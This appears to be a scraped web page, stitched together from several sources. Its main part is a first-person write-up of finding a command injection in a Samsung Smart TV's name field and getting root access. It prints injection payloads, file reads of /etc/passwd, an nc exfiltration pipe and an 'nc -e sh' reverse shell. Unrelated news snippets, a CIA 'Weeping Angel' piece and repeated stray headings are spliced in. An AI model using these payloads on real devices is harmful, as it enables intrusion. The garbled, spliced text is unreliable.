Hacking Your Samsung Smart Tv

It was one of those lazy evenings, just watching TV after a long day. I was tired but kept on thinking about a vulnerability I found earlier on in a router someone gave me. Finding a flaw in such a device is always quite fun because you often see things that aren’t meant to be seen by the users, except the developers and maybe the company’s tech support team.

Since I was very tired, I just wanted to set the sleep timer on the television and lie down. But while setting the timer I wondered about other possible menu functions, and if there any hidden features that are only meant for the support team or the developers. After a quick Google search on my mobile phone I found out that this brand of televisions has a code that opens a hidden menu.

Samsung

After opening the settings and typing in the code on my remote control, another menu popped up on the left side of the screen. Almost all of the categories it showed weren’t accessible. I could only activate “Hotel Mode” and view the version number of the set.

I wanted to find out more about the TV. Within the settings, there was a category called “info”. I opened it and only saw some more version numbers. Then something else caught my attention; I could actually give my TV set a name.

The Vulnerability in My Smart Television Set

When you work in Information Security, you can’t help but to test some payloads you use on a daily basis on other input fields you encounter. It might be a GET parameter on your router’s web interface, the control panel of your new printer, or, in my case, a TV. So I thought it would be fun to rename my TV to “television `sleep 5`”.

Apr 26, 2017 Samsung Smart TV Can Be Hacked via Wi-Fi Direct Feature. Security researchers from Neseso are sounding the alarm on a vulnerability they've discovered in Samsung smart TVs that Samsung declined to. YONKERS, NEW YORK — Smart TVs from Samsung and TCL were shown to be vulnerable to hacking exploits, according to an investigation by Consumer Reports.Subscri. Beware of Samsung Smart TVs—Voice Recognition Could be Recording and Sharing your Private Conversations. The digital age has brought along countless blessings and conveniences for the consumers but there are quite a few dangers associated with the Internet of Things (IoT) that are hard to ignore.

After entering and submitting the payload from my remote, the settings menu just froze for a long time. Once it was responsive again I changed the name so I could select other menu entries. I didn’t really think that I had just found a command injection or something similar. It’s not odd for my TV to hang for a few seconds before changes are made, but because now it took a longer time to become responsive, it made me curious.

Hacking Your Samsung Smart Tv

The time did not match my input as it was way longer than five seconds. I thought it might have something to do with the backtick characters I injected. Maybe the TV did not expect them and threw an error which prevented it from loading. I typed in “television `sleep 0`” and tried it again. It loaded instantly.

Smart

There is something definitely happening, but was not sure what and how. So I decided to measure the time. It turned out that it always took the television set three times longer than the input number to become responsive, as shown below:

  • sleep(2) - 6 seconds
  • sleep(3) - 9 seconds
  • sleep(5) - 15 seconds

Running Commands on my Smart TV

I couldn’t believe it. There was actually a command injection in the first input field I tried. Freezing the menu was not an ultimate proof though, and it was not very useful in terms of exploitation. Since I only had 31 characters, minus the two backticks, my payload could only consist of 29 characters.

Hacking Your Samsung Smart Tv

Below is a list of commands I tried to run on the TV, including an explanation of what they are and also a confirmation if they succeeded or not.

Command

Explanation

chars

succeeded

`which nc && sleep 2`

which is a linux command that returns the path to a program if it exists.


&& sleep 2 would freeze the menu for 3*2 seconds if the which function found nc on the TV set.

19

Yes

`which ssh && sleep 2`

I wanted to see if ssh was installed.

20

No

`which wget && sleep 2`

But it had wget

21

Yes

`cat /etc/passwd && sleep 2`

I wanted to see if /etc/passwd was readable. It was, and it would have been a big surprise if it wasn't

26

Yes

`cat /etc/shadow && sleep 2`

This one is interesting. When you have root privileges the /etc/shadow file is readable. I wanted to test if I am root but the file wasn’t readable.

26

No

`ls /etc/shadow && sleep 2`

This is the explanation why the shadow file couldn’t be opened. It just didn’t exist.

25

No

It was really late so I decided to go to sleep and try to get a shell the next day. After waking up the hardest part followed: getting out of bed to get the laptop and an ethernet cable. Until now I didn’t even have to go anywhere and I found it quite funny that I was able to run system commands on my TV just by using a remote control.

Getting Shell Access on the Smart TV

My TV is wall mounted, so plugging in a cable is not as easy as one would imagine. After a dislocated shoulder and several threats towards the TV I plugged the cable in. I connected it to the laptop and found out the laptop’s IP with ipconfig.

So now that I knew the IP address of my laptop, I only had to get a reverse shell to my laptop. Therefore I did not need to know the IP address of the TV. Also a reverse shell is handy because it would bypass any possible firewall rules blocking incoming connections. But before thinking about how to get one in less than 29 characters I wanted to learn a little bit more about the system.

Using Netcat on the Smart TV

I found out that there is nc installed on the TV set, so I decided to pipe the output of certain commands through nc back to my laptop. The first one I tried was of course id, which would tell me whether or not I had root privileges on the Smart TV set.

As seen from the above I had root privileges. This wasn’t too surprising, but it was still nice to see. The next thing I did was getting a directory listing of / with `ls -la /|nc 169.254.56.216 5`

Perfect. But I still had no shell to issue proper commands. All of them were more or less length restricted and not too useful. However, since the version of nc that was installed on the TV allowed the -e flag it was easy to get a reverse shell with: `nc 169.254.213.210 5 -e sh`

I Had Shell Access on the Smart TV

Perfect. I now had a proper shell to work with. I was especially interested in messing with the TV in a visible way. There were multiple possibilities, such as changing the logo that’s being shown during the boot up process, or changing the apps icons. Since this is a smart TV, it has some preinstalled apps such as Youtube and Skype.

I noticed that most of the file system was read only, so I could not just change the logos. But there were pictures that were frequently changing, i.e. the channel preview boxes you can see while zapping between different TV channels. They contained snapshots of the programs that ran when you visited the channel. Obviously those had to be saved in a place where you could read and write files.

I noticed that the icon images were .png files. I listed all files with a .png extension by using the command find / -name *.png but the preview files were not there. However I tried the same search but this time for .jpg files, and I noticed some files like channelImage123.jpg. After uploading the files that I wanted to show, and replacing the corresponding channelImage files, this was the result.

Your TV is Not as Smart as You Would Think

Samsung Smart View

Internet connected devices can have vulnerabilities in the weirdest of places, where you would expect them less. When I tested the sleep command I didn’t even think it would work at all, I did it just out of boredom. I also had no idea that my TV runs on linux and was even more than surprised to see that my vulnerabilities are exploitable.

This vulnerability is not exploitable remotely, however it convinced me that I was right to not connect my TV to the internet, and use its (not so) smart features. I am not really comfortable with the thought that someone can have control over my TV.

I think there are way cooler things and more vulnerabilities that I could exploit on the TV set. But it is not worth the heart pains I get when the device freezes, and I have to wait for a minute to see whether it was bricked or not. Because after all you watch television to relax and not to raise your blood pressure, except if you like to watch football.

Your Information will be kept private.

[Wikileaks] has just published the CIA’s engineering notes for Weeping Angel Samsung TV Exploit. This dump includes information for field agents on how to exploit the Samsung’s F-series TVs, turning them into remotely controlled spy microphones that can send audio back to their HQ.

An attacker needs physical access to exploit the Smart TV, because they need to insert a USB drive and press keys on the remote to update the firmware, so this isn’t something that you’re likely to suffer personally. The exploit works by pretending to turn off the TV when the user puts the TV into standby. In reality, it’s sitting there recording all the audio it can, and then sending it back to the attacker once it comes out of “fake off mode”.

Samsung

It is still unclear if this type of vulnerability could be fully patched without a product recall, although firmware version 1118+ eliminates the USB installation method.

The hack comes along with a few bugs that most people probably wouldn’t notice, but we are willing to bet that your average Hackaday reader would. For instance, a blue LED stays on during “fake off mode” and the Samsung and SmartHub logos don’t appear when you turn the TV back on. The leaked document is from 2014, though, so maybe they’ve “fixed” them by now.

Hacking Your Samsung Smart Tv 32 Inch

Do you own a Samsung F-series TV? If you do, we wouldn’t worry too much about it unless you are tailed by spies on a regular basis. Don’t trust the TV repairman!

Comments are closed.